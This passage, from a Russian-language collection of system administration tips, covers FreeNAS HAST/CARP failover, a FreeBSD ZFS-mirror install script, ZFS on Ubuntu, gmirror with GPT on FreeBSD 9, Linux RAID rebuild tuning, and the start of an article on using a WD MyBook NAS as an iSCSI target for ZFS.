    высоконадежные конфигурации, в которых данные синхронизированы между
    несколькими узлами. HAST реализован в виде работающего на уровне пользователя
    демона hastd, использующего стандартный класс GEOM Gate для обработки запросов
    ввода/вывода. Hastd, обеспечивает синхронную репликацию блочных устройств
    поверх TCP/IP сетей, независимо от типа накопителя и файловой системы. HAST
    предусматривает возможность быстрого восстановления после сбоя, причём, при
    выходе из строя первичного master-узла, его функции могут быть делегированы
    slave-узлу. После проверки и монтирования UFS раздела или импорта ZFS пула на
    поврежденном узле, система автоматически синхронизирует внесенные за время
    восстановления изменения и продолжит работу без потери данных.
    
    Для быстрого развёртывания хранилищ удобно использовать дистрибутив FreeNAS. К
    сожалению в настоящее время FreeNAS не поддерживает HAST из коробки, но так как
    во FreeNAS используются стандартные компоненты FreeBSD 8.x, ни что не мешает
    самостоятельно вручную создать и надстроить работу подобных хранилищ.
    
    После первой загрузки FreeNAS настроим параметры сетевого доступа и DNS. Первый
    узел freenas1 будет иметь IP 192.168.137.31, а второй freenas2 -
    192.168.137.32. После первичной типовой настройки подключимся к shell.
    
    
    Настройка узла HAST
    
    Перемонтируем корневой раздел для обеспечения возможности записи:
    
      mount -uw /
     
    Создадим массив хранения RAID3 из дисков da1, da2, da3.
    
       graid3 label gr0raid3 da1 da2 da3
    
    В итоге будет создано устройство /dev/raid3/gr0raid3
     
    Включим поддержку CARP и активируем демон hastd:
    
       cat <<EOF >> /conf/base/etc/rc.conf
       ifconfig carp0 create
       ifconfig carp0 vhid 1 pass freenashast 192.168.137.30/24
       # enable HAST daemon
       hastd_enable="YES"
       EOF
     
    Если в директории  /boot/kerneldaemon отсутствует модуль if_carp.ko, скопируем
    его из системы на базе FreeBSD 8.2 или 8.3.
    
    Создадим файл конфигурации hast.conf, в котором определим /dev/raid3/gr0raid3 в
    качестве синхронизируемого между узлами хранилища:
    
       cat <<EOF > /conf/base/etc/hast.conf
       resource freenashast {
            on freenas1 {
                    local /dev/raid3/gr0raid3
                    remote freenas2
            }
            on freenas2 {
                    local /dev/raid3/gr0raid3
                    remote freenas1
            }
       }
       EOF
     
    Копируем hast.conf в директорию /etc и перезагружаем систему:
    
       cp /conf/base/etc/hast.conf /etc
     
    Создаём хранилище hast:
    
       hastctl create freenashast
     
    После появления устройства /dev/hast/freenashast назначаем текущему узлу роль первичной системы:
    
       hastctl role primary freenashast
     
    Создаём zpool в хранилище freenashast
    
       zpool create -m /mnt gr0 /dev/hast/freenashast
    
    Создаём символическую ссылку на директорию RAID3, чтобы web-интерфейс FreeNAS
    распознал вручную созданное хранилище:
    
       ln -s /dev/hast/freenashast /dev/raid3/gr1raid3
     
    После этого в GUI FreeNAS можно автоматически импортировать раздел gr0 и
    настроить совместный доступ  с использованием штатного web-интерфейса.
    
     
    Настроим демон devd для переключения HAST из режима master в slave и наоборот в
    зависимости от состояния сетевого линка:
    
       cat <<EOF >> /conf/base/etc/devd.conf
       notify 30 {
            match "system" "IFNET";
            match "subsystem" "carp0";
            match "type" "LINK_UP";
            action "/usr/local/sbin/carp-hast-switch master";
       };
     
       notify 30 {
            match "system" "IFNET";
            match "subsystem" "carp0";
            match "type" "LINK_DOWN";
            action "/usr/local/sbin/carp-hast-switch slave";
       };
       EOF
     
    Создадим скрипт hast-carp-switch, который будет выполнять переключение режимов:
    
       cat <<EOF > /usr/local/sbin/carp-hast-switch
    
       #!/bin/sh
       resources="freenashast"
       zfspool="gr0"
       delay=3
       log="local0.debug"
       name="carp-hast"
     
       case "$1" in
            master)
                    logger -p $log -t $name "Switching to primary provider for $resources."
                    # in order to wait for the original primary provider to change role state
                    # otherwise, brain-split may happen
                    sleep $delay
                    for disk in $resources; do
                            # ensure that this storage can be switched                        
                            while $(pgrep -lf "hastd: $disk \\(secondary\\)" > /dev/null 2>&1 ); do
                                    sleep 1
                            done
     
                            # Switch role for each disk
                            hastctl role primary $disk
                            if [ $? -ne 0 ]; then
                                    logger -p $log -t $name "Unable to change role to primary for resouce ${disk}."
                                    exit 1
                            fi
                    done
     
                    # Wait for the /dev/hast/* devices to appear
                    for disk in $resources; do
                            for I in $(jot 60); do
                                    [ -c "/dev/hast/${disk}" ] && break
                                    sleep 0.5
                            done
                            if [ ! -c "/dev/hast/${disk}" ] ; then
                                    logger -p $log -t $name "GEOM provider /dev/hast/$disk did not appear."
                                    exit 1
                            fi
                    done
     
                    logger -p $log -t $name "Role for HAST resources switched to primary."
     
                    logger -p $log -t $name "Importing ZFS pool."
                    zpool import -f $zfspool
     
                    # restart the enabled services
                    for srv in $(sqlite3 /data/freenas-v1.db "select srv_service from services_services where srv_enable=1" \\
                                    | xargs printf "grep 'bool_.*%s' /etc/rc.conf.local\\n" | sh | awk '{print $2}')
                   do
                             case $srv in
                                 winbindd_enable|samba_enable) /etc/local/rc.d/samba restart
                                            ;;
                                 netatalk_enable)        /etc/local/rc.d/netatalk restart
                                            ;;
                                 proftpd_enable)         /etc/local/rc.d/proftpd restart
                                            ;;
                                 inetd_enable)           /etc/rc.d/inetd restart
                                            ;;
                                 nfs_server_enable)      /etc/rc.d/nfsserver restart
                                            ;;
                                 mountd_enable)          /etc/rc.d/mountd restart
                                            ;;
                                 nfsd_enable)            /etc/rc.d/nfsd restart
                                            ;;
                                 rsyncd_enable)          /etc/local/rc.d/rsyncd restart
                                            ;;
                             esac
                  done
     
                    ;;
     
            slave)
                    logger -p $log -t $name "Switching to secondary provider for $resources."
                    # stop the running services
                    for srv in $(sqlite3 /data/freenas-v1.db "select srv_service from services_services where srv_enable=1" \\
                                    | xargs printf "grep 'bool_.*%s' /etc/rc.conf.local\\n" | sh | awk '{print $2}')
                   do
                             case $srv in
                                 winbindd_enable|samba_enable) /etc/local/rc.d/samba stop
                                            ;;
                                 netatalk_enable)        /etc/local/rc.d/netatalk stop
                                            ;;
                                 proftpd_enable)         /etc/local/rc.d/proftpd stop
                                            ;;
                                 inetd_enable)           /etc/rc.d/inetd stop
                                            ;;
                                 nfs_server_enable)      /etc/rc.d/nfsserver stop
                                            ;;
                                 mountd_enable)          /etc/rc.d/mountd stop
                                            ;;
                                 nfsd_enable)            /etc/rc.d/nfsd stop
                                            ;;
                                 rsyncd_enable)          /etc/local/rc.d/rsyncd stop
                                            ;;
                           esac
                    done
     
                    # export the zfs pool & change role to slave
                    for disk in $resources; do
                            zpool export -f $zfspool
                            sleep $delay
                            hastctl role secondary $disk 2>&1
                            if [ $? -ne 0 ]; then
                                    logger -p $log -t $name "Unable to switch role to secondary for resource $disk."
                                    exit 1
                            fi
                            logger -p $log -t name "Role switched to secondary for resource $disk"
                    done
                    ;;
            *)
                    logger -p $log -t $name "Usage: $0 "
                    exit 1
                    ;;
       esac
    
    Поменяем права доступа и перезагрузим систему: 
    
       chmod +x /usr/local/sbin/carp-hast-switch
       reboot
    
    После перезагрузки вручную установим первичный режим HAST для созданного хранилища:
    
       hastctl role primary freenashast
    
    Выше представленная инструкция рассчитана на создание master-узла. Для
    запасного slave-узла, который возьмёт на себя управление в случае сбоя
    первичного узла, настойка выполняется аналогично, за одним исключением - для
    интерфейса carp0 должен быть установлен меньший приоритет, чем на master-узле:
    
       ifconfig carp0 vhid 1 pass freenashast advskew 100 192.168.137.30/24
    
     
    ----* Отключаем RAID1 на MB и ставим FreeBSD на zfs mirror на диски c сектором 4k (доп. ссылка 1)   Автор: nagual  [комментарии]
     
    Согласно рекомендациям Oracle ZFS лучше не ставить поверх RAID, так как это
    приведет к не оптимальному распределению нагрузки на шпиндели. Так же хочется
    напомнить о необходимости включении режима ACHI в BIOS.
    
    Собственно скрипт:
    
    
    #!/bin/sh
    
    mount_cd9660 /dev/cd0 /media
    
    DIST="/media/usr/freebsd-dist"
    DISKDEV1="da1"
    DISKDEV2="da2"
    SWAPSIZE="1G"
    LOGFILE="tmp06_first.log"
    exec 1>$LOGFILE 2>&1
    ZPOOL="zroot"
    HOSTNAME="BSD"
    MNT="/mnt2"
    
    mkdir -p $MNT
    sysctl kern.geom.debugflags=0x10
    
    /bin/echo "Starting newfs ZFS "
    /sbin/gpart create -s gpt $DISKDEV1
    /sbin/gpart create -s gpt $DISKDEV2
    /bin/sync
    
    /sbin/gpart add -a 4k -b 34 -s 64k -t freebsd-boot $DISKDEV1
    /sbin/gpart add -a 4k -t freebsd-zfs -l disk0 $DISKDEV1
    /bin/sync
    
    /sbin/gpart add -a 4k -b 34 -s 64k -t freebsd-boot $DISKDEV2
    /sbin/gpart add -a 4k -t freebsd-zfs -l disk1 $DISKDEV2
    /bin/sync
    
    /sbin/gpart bootcode -b /boot/pmbr -p /boot/gptzfsboot -i 1 $DISKDEV1
    /sbin/gpart bootcode -b /boot/pmbr -p /boot/gptzfsboot -i 1 $DISKDEV2
    /bin/sync
    
    /sbin/gnop create -S 4096 /dev/gpt/disk0
    /sbin/gnop create -S 4096 /dev/gpt/disk1
    /bin/sync
    
    /sbin/zpool create -m $MNT -f -o cachefile=/var/tmp/$ZPOOL.cache $ZPOOL mirror
    /dev/gpt/disk0.nop /dev/gpt/disk1.nop
    /sbin/zpool export $ZPOOL
    /sbin/gnop destroy /dev/gpt/disk0.nop
    /sbin/gnop destroy /dev/gpt/disk1.nop
    /sbin/zpool import -o cachefile=/var/tmp/$ZPOOL.cache $ZPOOL
    /sbin/zpool set bootfs=$ZPOOL $ZPOOL
    /sbin/zpool list
    /sbin/zpool status
    /sbin/zfs get recordsize
    /usr/sbin/zdb -U /var/tmp/$ZPOOL.cache |grep ashift
    /sbin/mount
    /bin/df -H
    /bin/sync
    
    /sbin/zfs set checksum=fletcher4 $ZPOOL
    
    /sbin/zfs create -V $SWAPSIZE $ZPOOL/swap
    /sbin/zfs set org.freebsd:swap=on $ZPOOL/swap
    /sbin/zfs set checksum=off $ZPOOL/swap
    /bin/sync
    
    /sbin/zfs create -o mountpoint=$MNT/usr $ZPOOL/usr
    /sbin/zfs create -o mountpoint=$MNT/usr/ports $ZPOOL/usr/ports
    /sbin/zfs create -o mountpoint=$MNT/usr/src $ZPOOL/usr/src
    /sbin/zfs create -o mountpoint=$MNT/usr/home $ZPOOL/usr/home
    /sbin/zfs create -o mountpoint=$MNT/var $ZPOOL/var
    /sbin/zfs create -o mountpoint=$MNT/var/db $ZPOOL/var/db
    /sbin/zfs create -o mountpoint=$MNT/var/tmp $ZPOOL/var/tmp
    /sbin/zfs create -o mountpoint=$MNT/tmp $ZPOOL/tmp
    /bin/sync
    
    chmod 1777 $MNT/tmp $MNT/var/tmp
    
    cd $DIST
    export DESTDIR=$MNT
    for file in base.txz doc.txz kernel.txz ports.txz src.txz; do (cat $file | tar
    --unlink -xpJf - -C ${DESTDIR:-/}) ; done
    
    cat << EOF >> $MNT/etc/rc.conf
    #!/bin/sh
    ipv6_enable="NO"
    rc_info="YES" # Enables display of informational messages at boot.
    
    keymap=ru.koi8-r
    keychange="61 ^[[K"
    scrnmap=koi8-r2cp866
    font8x16=cp866b-8x16
    font8x14=cp866-8x14
    font8x8=cp866-8x8
    saver="blank"
    keyrate="fast"
    
    mousechar_start="3"
    moused_enable="YES"
    moused_port="/dev/psm0"
    moused_type="auto"
    
    network_interfaces="auto" # List of network interfaces (or "auto").
    ifconfig_lo0="inet 127.0.0.1 netmask 255.255.255.0"
    defaultrouter="192.168.0.1"
    ifconfig_em0="inet 192.168.0.88 netmask 255.255.255.0"
    
    hostname=$HOSTNAME
    
    zfs_enable="YES"
    kern_securelevel_enable="NO"
    linux_enable="YES"
    sshd_enable="YES"
    sshd_flags="-u0"
    usbd_enable="NO"
    
    #fsck_y_enable="YES"
    background_fsck="NO"
    
    sendmail_enable="NONE" # Run the sendmail inbound daemon (YES/NO).
    sendmail_flags="-L sm-mta -bd -q30m" # Flags to sendmail (as a server)
    sendmail_submit_enable="NO" # Start a localhost-only MTA for mail submission
    sendmail_submit_flags="-L sm-mta -bd -q30m -ODaemonPortOptions=Addr=localhost"
    # Flags for localhost-only MTA
    sendmail_outbound_enable="NO" # Dequeue stuck mail (YES/NO).
    sendmail_outbound_flags="-L sm-queue -q30m" # Flags to sendmail (outbound only)
    sendmail_msp_queue_enable="NO" # Dequeue stuck clientmqueue mail (YES/NO).
    sendmail_msp_queue_flags="-L sm-msp-queue -Ac -q30m"
    # Flags for sendmail_msp_queue daemon.
    # to their chrooted counterparts.
    
    nfs_reserved_port_only="NO"
    ntpdate_flags="ntp.ucsd.edu"
    ntpdate_enable="NO"
    xntpd_enable="NO"
    net_snmpd_enable="NO"
    inetd_enable="NO"
    inetd_program="/usr/sbin/inetd" # path to inetd, if you want a different one.
    inetd_flags="-wW -C 60" # Optional flags to inetd
    
    portmap_enable="NO"
    nfs_server_enable="NO"
    nfs_client_enable="NO"
    tcp_drop_synfin="YES"
    icmp_drop_redirect="YES"
    icmp_log_redirect="NO"
    syslogd_enable="YES"
    syslogd_flags="-ss"
    accounting_enable="NO"
    check_quotas="NO"
    clear_tmp_enable="YES" # Clear /tmp at startup.
    cron_enable="YES" # Run the periodic job daemon.
    named_enable="YES" # Run named, the DNS server (or NO).
    
    #devd_enable="YES".
    #devfs_system_ruleset="devfsrules_common".
    ldconfig_paths="/usr/lib/compat /usr/local/lib /usr/local/kde4/lib /usr/local/lib/compat/pkg"
    
    # Denyhosts Startup.
    denyhosts_enable="YES"
    
    EOF
    
    cat << EOF >> $MNT/etc/fstab
    # Device Mountpoint FStype Options Dump Pass#
    #linproc /compat/linux/proc linprocfs rw 0 0
    
    EOF
    
    cat << EOF >> $MNT/etc/resolv.conf
    search $HOSTNAME
    domain $HOSTNAME
    nameserver 127.0.0.1
    #nameserver 8.8.8.8
    
    EOF
    
    cat << EOF >> $MNT/boot/loader.conf
    zfs_load="YES"
    vfs.root.mountfrom="zfs:$ZPOOL"
    
    autoboot_delay="1"
    beastie_disable="YES"
    
    linux_load="YES" # Linux emulation
    #lindev_load="NO" # Linux-specific pseudo devices (see lindev(4))
    linprocfs_load="YES" # Linux compatibility process filesystem
    linsysfs_load="YES" # Linux compatibility system filesystem
    
    #ipfw_load="YES" # Firewall
    #ipfw_nat_load="YES"
    
    #if_tap_load="YES" # Ethernet tunnel software network interface
    
    # Kernel Options
    kern.ipc.shmseg=1024
    kern.ipc.shmmni=1024
    kern.maxproc=10000
    
    vm.pmap.pg_ps_enabled="0"
    #hw.mca.enabled=1
    kern.timecounter.hardware=i8254
    hw.pci.enable_msix=0
    hw.pci.enable_msi=0
    net.inet.tcp.tso=0
    
    EOF
    
    cp /var/tmp/$ZPOOL.cache $MNT/boot/zfs/zpool.cache
    zpool set cachefile=$MNT/boot/zfs/zpool.cache $ZPOOL
    /bin/sync
    
    /sbin/zfs unmount -a
    /bin/sync
    
    /sbin/zfs set mountpoint=legacy $ZPOOL
    /sbin/zfs set mountpoint=/tmp $ZPOOL/tmp
    /sbin/zfs set mountpoint=/usr $ZPOOL/usr
    /sbin/zfs set mountpoint=/usr/ports $ZPOOL/usr/ports
    /sbin/zfs set mountpoint=/usr/src $ZPOOL/usr/src
    /sbin/zfs set mountpoint=/usr/home $ZPOOL/usr/home
    /sbin/zfs set mountpoint=/var $ZPOOL/var
    /sbin/zfs set mountpoint=/var/db $ZPOOL/var/db
    /sbin/zfs set mountpoint=/var/tmp $ZPOOL/var/tmp
    /bin/sync
    rm $MNT
    
    exit 0
    
    
    Работу проверял под vmware. Своп сделан на zfs дабы не воротить еще и gmirror.
    Не забудьте размер свопа увеличить.
    
     
    ----* Использование ZFS в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Установим поддержку ZFS на Ubuntu Server и создадим RAIDZ-хранилище на базе
    двух имеющихся жестких дисков.
    
    Создадим на дисках по разделу при помощи утилиты cfdisk, для просмотра таблицы
    разделов можно использовать команду "cat /proc/partitions".
    
    Установим пакеты, необходимые для обеспечения работы ZFS:
    
       sudo apt-get update && sudo apt-get upgrade
       sudo apt-get install python-software-properties bison flex build-essential \\
       libelf-dev zlib1g-dev libc6-dev-i386 libdwarf-dev binutils-dev
    
    Подключим дополнительный PPA-репозиторий zfs-native:
    
       sudo add-apt-repository ppa:zfs-native/stable
    
    и установим из него пакеты с компонентами для поддержки ZFS:
    
       sudo apt-get update
       sudo apt-get install ubuntu-zfs
    
    Создадим zpool с именем  zfs-test и типом заркалирования RAIDZ, поместив в
    создаваемый RAID разделы на двух имеющихся дисках:
    
       sudo zpool create zfs-test raidz /dev/sdb1 /dev/sdc1
    
    Посмотрим статус созданного раздела:
    
       sudo zpool status
       sudo zfs list
       df -h
    
     
    ----* Настройка gmirror при использовании GPT во FreeBSD 9   Автор: Mikhail Zakharov  [комментарии]
     
    С релизом FreeBSD-9.0, GPT-формат разделов жестких дисков стал, наконец, делом
    обыденным, ведь даже новый инсталлятор предполагает использование GPT
    по-умолчанию. Однако в связи с переходом на GPT-разметку дисков возникают и
    сложности, поскольку очень многое, в том числе и документация, продолжает быть
    завязано на ныне устаревший механизм MBR-разделов или слайсов. Так, например, к
    своему огорчению я обнаружил, что большинство разделов Handbook'а посвященных
    дискам, GEOM-классам и файловым системам изобилуют примерами работ со старыми
    слайсами, а не используют для этой цели новый формат GPT.
    
    Более того, в январе 2012 года, в разделе учебника, посвященного использованию
    gmirror, я внезапно наткнулся на предостережение, которое прямо указывает на
    невозможность сочетания FreeBSD-9.x, gmirror и GPT-разметки дисков:
    
    Warning: Creating a mirror out of the boot drive may result in data loss if any
    data has been stored on the last sector of the disk. This risk is reduced if
    creating the mirror is done promptly after a fresh install of FreeBSD. The
    following procedure is also incompatible with the default installation settings
    of FreeBSD 9.X which use the new GPT partition scheme. GEOM will overwrite GPT
    metadata, causing data loss and possibly an unbootable system.
    
    Примечательно, что в русскоязычном варианте Handbook'а часть этого
    предупреждения относительно использования GPT-разделов вместе с gmirror во
    FreeBSD-9.x попросту отсутствует.
    
    Терзаемый неприятным чувством, что поддержка GPT дисков во FreeBSD далека еще
    от совершенства, я решил выяснить, действительно-ли в настоящий момент дисковая
    функциональность FreeBSD-9.0R не может объединить технологии gmirror -
    программного зеркала (RAID-1) и разделов GPT.
    
    Чаще всего gmirror используется в двух вариантах. Первый, это формирование
    зеркала из "сырых" дисков, с последующим созданием на зеркале разделов и
    файловых систем. Договоримся для краткости называть его gmirror+GPT.
    
    Второй способ предполагает создание одного, или нескольких разделов на диске и
    последующее зеркалирование этих разделов на другой диск. Этот метод будем
    называть GPT+gmirror.
    
    
    gmirror+GPT 
    
    Итак, чтобы при помощи gmirror собрать RAID-1, а затем создать поверх него
    разделы GPT нам потребуется дистрибутив FreeBSD-9.0R и два установленных в
    компьютер жестких диска.
    
    Рекомендуется, чтобы оба жестких диска были одинаковыми по всем
    характеристикам: объему, скорости вращения шпинделей, размеру буфера памяти и
    т.д. И хоть эти условия для применения gmirror не являются обязательными,
    однако нужно понимать, что в случае использования различия дисков,
    характеристики зеркала будут определяться худшим диском.
    
    К сожалению, в настоящий момент инсталлятор FreeBSD не умеет управлять модулем
    gmirror, поэтому создавать RAID-1 нам придется своими собственными руками. Для
    этого загружаемся с инсталляционного диска но, запуская установку, переходим в
    shell, сразу, как только инсталлятор предоставит нам эту возможность:
    
    
    
    Попав в командную строку, начинаем подготовку зеркала. Бегло проглядев вывод
    команды dmesg, обнаруживаем, что в связи с новым именованием устройств во
    FreeBSD-9.0, в нашем случае диски определились как ada0 и ada1. Ну, раз так,
    значит так, создадим из них зеркало gm0 и сразу же загрузим его:
    
       # gmirror label gm0 ada0 ada1
       # gmirror load
    
    Теперь в системе появился новый диск - gm0. Убедиться в этом можно посмотрев вывод команды:
    
       # ls -la /dev/mirror/gm0
    
    Однако этот диск пока сырой. Поэтому определим для него схему разбиения на
    разделы, в нашем случае - GPT и сделаем этот диск загрузочным:
    
       # gpart create -s gpt mirror/gm0
       # gpart bootcode -b /boot/pmbr -p /boot/gptboot -i 1 mirror/gm0
    
    На этом первая часть вмешательства в обычный ход инсталляции FreeBSD может быть
    закончена. В самом деле, зачем людям работать руками, если инсталлятор со всем
    остальным может справиться самостоятельно?  Поэтому смело набираем exit и
    выходим из shell'а, чтобы вернуться в инсталлятор, где нам будет предложено
    установить имя хоста и выбрать компоненты дистрибутива.
    
    Далее, когда инсталлятор загрузит редактор разделов, наше программное зеркало
    будет ему доступно также, как и два физических диска ada0 и ada1. Теперь после
    нашего краткого вмешательства, инсталлятор беспрепятственно позволит создать на
    зеркале необходимые разделы. Более того все изменения будут даже динамически
    отражаться на обеих половинах зеркала:
    
    
    
    Далее инсталляция пойдет как по маслу в обычном порядке и до своего логического завершения.
    
    Когда все закончится, перезагружаемся проверить все-ли мы сделали правильно, но
    здесь нас поджидает небольшой fail. С прискорбием мы обнаруживаем, что система
    загрузиться не может: ядро попросту не понимает, что такое gmirror и не видит зеркала.
    
    Выругавшись нехорошими словами, снова вставляем инсталляционный диск и
    загружаемся в так полюбившийся нам shell.
    
    Далее загружаем модуль gmirror и, вспомнив, что корневая файловая система
    находится на gm0p3, монтируем корень в /mnt.
    
       # gmirror load
       # mount /dev/mirror/gm0p3 /mnt
    
    Теперь остается добавить модуль gmirror в loader.conf для загрузки его вместе с
    ядром при старте системы:
    
       # echo &#8216;geom_mirror_load="YES"&#8217; > /mnt/boot/loader.conf
    
    На этом действительно все. Перезагружаемся и получаем работоспособную систему.
    Чтобы убедиться в этом, можно безбоязненно проводить тесты по поочередному
    отключению дисков.
    Единственный нюанс, внимательный администратор заметит во время загрузки
    системы настораживающее предупреждение:
    
       gptboot: invalid backup GPT header
    
    Andrey V. Elsukov - один из разработчиков FreeBSD объясняет это предупреждение так:
    "Причина понятна - GPT была создана поверх зеркала. Размер провайдера
    mirror/gm0 на 1 сектор меньше, чем размер диска, так как gmirror забирает
    последний сектор для хранения своих метаданных. Загрузчик gptboot ничего не
    знает о программном зеркале и ищет резервный заголовок GPT в конце диска, а там
    находятся метаданные gmirror.
    Тут есть небольшое разногласие между gptboot и GEOM_PART_GPT. Некоторое время
    назад я изменил алгоритм проверки корректности GPT в GEOM_PART_GPT. А именно,
    после прочтения основного заголовка GPT и проверки его контрольной суммы,
    резервный заголовок считывается по хранящемуся в основном заголовке адресу. В
    случае, когда основной заголовок повреждён, резервный заголовок ищется в конце диска."
    
    Как видим из объяснения разработчика, ничего вроде бы страшного не происходит.
    И хотя у нас отсутствует запасной заголовок GPT в конце диска, это не критично,
    правда до тех пор, пока все работает.
    
    
    GPT+gmirror
    
    Этот вариант отличает от предыдущего тем, что зеркалируетяс не диск целиком, а
    отдельные его разделы. Как и для первого случая, нам потребуется дистрибутив
    FreeBSD-9.0R и два жестких диска, установленных в машину. Как и прежде
    рекомендуется, чтобы диски были полностью одинаковыми. Тем не менее, если
    случилось так, что один диск больше другого, то инсталляцию FreeBSD лучше
    проводить на диск меньшего объема. Это поможет избежать лишних расчетов
    размеров разделов при зеркалировании их с большего диска на меньший.
    
    В остальном первоначальная установка FreeBSD-9.0R ничем не отличается от
    обычной инсталляции по-умолчанию. Вся настройка зеркалирования начинается, в
    тот момент, когда мы загружаем свежепроинсталлированную систему и попадаем в консоль.
    
    Как и в предыдущем случае, диски определились как ada0 и ada1. FreeBSD
    установлена на меньший по размеру диск - ada0. Первым делом сохраним
    разметку диска и восстановим её на другом диске:
    
       # gpart backup ada0 > ada0.gpt
       # gpart restore -F /dev/ada1 < ada0.gpt
       # gpart show
    
    
    
    Как видно на скриншоте, разделы удачно скопировались и на бОльшем диске
    осталось 5GB свободного неразмеченного места. Теперь по логике вещей, можно
    начать зеркалирование разделов.
    
    Однако нужно забыть сделать диск ada1 загрузочным, ведь мы зеркалируем не весь
    диск целиком, а только его разделы. Иначе с выходом из строя ada0, система не
    сможет загрузится с ada1. Поэтому:
    
       # gpart bootcode -b /boot/pmbr -p /boot/gptboot -i 1 ada1
    
    Кроме того, раздел /dev/da0p3 - содержит корневую файловую систему, он
    смонтирован, и размонтировать его не получится, поэтому в текущем положении
    изменить его не возможно.
    
    Поэтому перезагружаем систему и загружаемся с инсталляционного диска, где
    привычно уже заходим в shell и на каждом разделе диска ada0 создаем зеркало и
    загружаем его:
    
       # gmirror label -vb round-robin boot /dev/ada0p1
       # gmirror label -vb round-robin swap /dev/ada0p2
       # gmirror label -vb round-robin root /dev/ada0p3
       # gmirror load
    
    Итого у нас получаютcя 3 зеркала. Сразу же добавляем к зеркалам по их второй половине:
    
       # gmirror insert boot /dev/ada1p1
       # gmirror insert swap /dev/ada1p2
       # gmirror insert root /dev/ada1p3
    
    Начнется процедура зеркалирования, длительность которой зависит от объема
    данных и характеристик жестких дисков. Наблюдать за этим увлекательным
    процессом можно при помощи команды:
    
       # gmirror status
    
    А пока дожидаемся окончания этого процесса, чтобы зря не терять времени, можно
    не спеша сделать еще 2 полезные вещи. Первая, добавить модуль gmirror в
    загрузку ядра:
    
       # mount /dev/mirror/root /mnt
       # echo &#8216;geom_mirror_load="YES"&#8217; > /mnt/boot/loader.conf
    
    И вторая, отредактировать fstab в соответствии с измененными под зеркала именами разделов:
    
       # cat /mnt/etc/fstab
       #Device		Mountpoint	FStype	Options	Dump	Pass#
       /dev/mirror/swap	none		swap		sw		0	0
       /dev/mirror/root	/		ufs		rw		1	1
    
    На этом все. После окончания синхронизации зеркал, можно перезагрузиться и
    устроить системе тест, отключая то один диск, то другой. Только главное не
    увлечься и не забыть, что каждый раз, при возвращении диска в RAID, нужно
    обязательно дожидаться окончания процесса синхронизации, иначе вы потеряете данные.
    
     
    ----* Увеличение скорости перестроения программного RAID в Linux (доп. ссылка 1)   [комментарии]
     
    Перестроение большого программного RAID в Linux может занимать десятки часов.
    Скорость синхронизации mdraid зависит от proc-переменных
    /proc/sys/dev/raid/speed_limit_max и /proc/sys/dev/raid/speed_limit_min,
    задающих максимальную и минимальную пропускную способность синхронизации
    данных. По умолчанию значения этих переменных выставлены в 200000 и 1000 (Кб).
    Манипулируя данными параметрами можно существенно увеличить скорость
    перестроения RAID-массива.
    
    Подобрать оптимальные значения можно в зависимости от производительности
    текущей дисковой системы, чем выше скорость синхронизации, чем меньше ресурсов
    остается для обработки текущих дисковых операций. Установим минимальную
    скорость в 50 Мб/сек, а максимальную в 300 Мб/cек:
    
       echo 50000 > /proc/sys/dev/raid/speed_limit_min
       echo 300000 > /proc/sys/dev/raid/speed_limit_max
    
    Посмотреть текущую скорость ресинхронизации можно в выводе команды:
    
       cat /proc/mdstat
    
    В результате вышеуказанных манипуляций время перестроения RAID было уменьшено с 22 до 2 часов.
    
    
    Если для рабочего RAID включить режим сохранения битовых карт (write-intent
    bitmap), то можно дополнительно увеличить скорость ресинхронизация после
    развала RAID в результате краха системы или экстренного отключения питания.
    Обратной стороной данного режима является небольшое замедление операций записи
    данных в RAID:
    
       mdadm --grow --bitmap=internal /dev/md0
    
    Отключить данный режим можно так:
    
       mdadm --grow --bitmap=none /dev/md0
    
     
    ----* Создание масштабируемого хранилища с использованием WD MyBook NAS + FreeBSD + ZFS   Автор: Алексей Волков  [комментарии]
     
    Вместо предисловия.
    
    RAID-Z doesn't require any special hardware. It doesn't need NVRAM for
    correctness, and it doesn't need write buffering for good performance. With
    RAID-Z, ZFS makes good on the original RAID promise: it provides fast, reliable
    storage using cheap, commodity disks.
                                                                          Jeff Bonwick  [0]
    
    Мое знакомство с FreeBSD состоялось  достаточно давно, как только по ряду
    причин прошла "первая любовь" к свежему на тот момент QNX Momentics.  Просто
    решил взять другую OS для других задач, без всяких аргументов. Но страсть к ZFS
    возникла практически мгновенно, как только  прочитал первые материалы по ней в
    свете включения кода в HEAD ветку FreeBSD. C тех пор  мы не разлучны, а с
    выходом релиза FreeBSD 8.0,  эта привязанность может стать вечной :)
    
    К сожалению, уж очень часто так случается, что место на разделе заканчивается,
    и в случае небольших офисных серверов, это превращается в маленькую трагедию.
    Завершив переезд на раздел большего размера, остаешься с неприятной мыслью, что
    этот раз был не последним, а следующий будет сложнее и дороже во всех смыслах
    этого слова.
    
    Относительно недавно, в розничную продажу поступила линейка NAS устройств WD My
    Book. Я так же обратил на нее внимание, но в первую очередь потому, что в
    голове промелькнула мысль - "Вот оно недостающее звено для бюджетного решения
    проблемы серверного пространства", но на тот момент я еще не знал как именно
    это можно сделать.
    
    Общая концепция заключалась в том, чтобы использовать NAS не так как его
    позиционирует производитель, а в виде блочного устройства. Другими словами ни
    CIFS/SAMBA ни FTP не нужны, требуется  получить блочное устройство в составе
    FreeBSD но физически расположенное на NAS. И тогда на сцену выйдет ZFS и
    возьмет его в свои крепкие руки.
    
    Вариант с созданием блочного устройства посредством mdconfig поверх
    подключенной через CIFS точки монтирования, меня категорически не устраивал.
    Моя цель где то рядом с ggate, AoE (ATA over Ethernet) или iSCSI.
    
    Упомянутый выше NAS, является достаточно открытым и работает на базе armv5tejl
    Linux 2.6.17.14. А значит к нему можно получить доступ по ssh  и установить
    дополнительный софт. Процедурs настройки ssh и репозитария optware можно найти
    по ссылкам [1] и [2].
    
    К великой радости optware имеет пакет для предоставления блочного устройства по
    протоколу AoE, но радость была не долгой, так как все попытки получить AoE на
    стороне FreeBSD, оказались не удачными.  Существующий AoE порт CORAID [3] я так
    и не смог заставить работать во FreeBSD 8, а мои вопросы к автору порта по
    email пока остались без ответа. Возвращаться к ядрам 7.X или тем более 6.X не
    имело смысла, так как терялась ZFS.
    
    Вспомнил про гору и Мухамеда, и выяснил что FreeBSD прекрасно дружит с iSCSI и
    все необходимое уже присутствует в базовой системе. Остается как то
    организовать iSCSI target на стороне NAS. Перепробовав массу вариантов собрать
    из исходников iSCSI target ( [4] [5] [6]), я практически отчаялся, пока не
    вспомнил, что FreeBSD имеет простенький порт net/iscsi-target. На удивление все
    собралось из исходников с первой попытки и у меня на руках оказался готовый
    бинарник iscsi-target [8] для ARM LINUX который я положил на NAS в /opt/sbin.
    
    Дело техники.
    
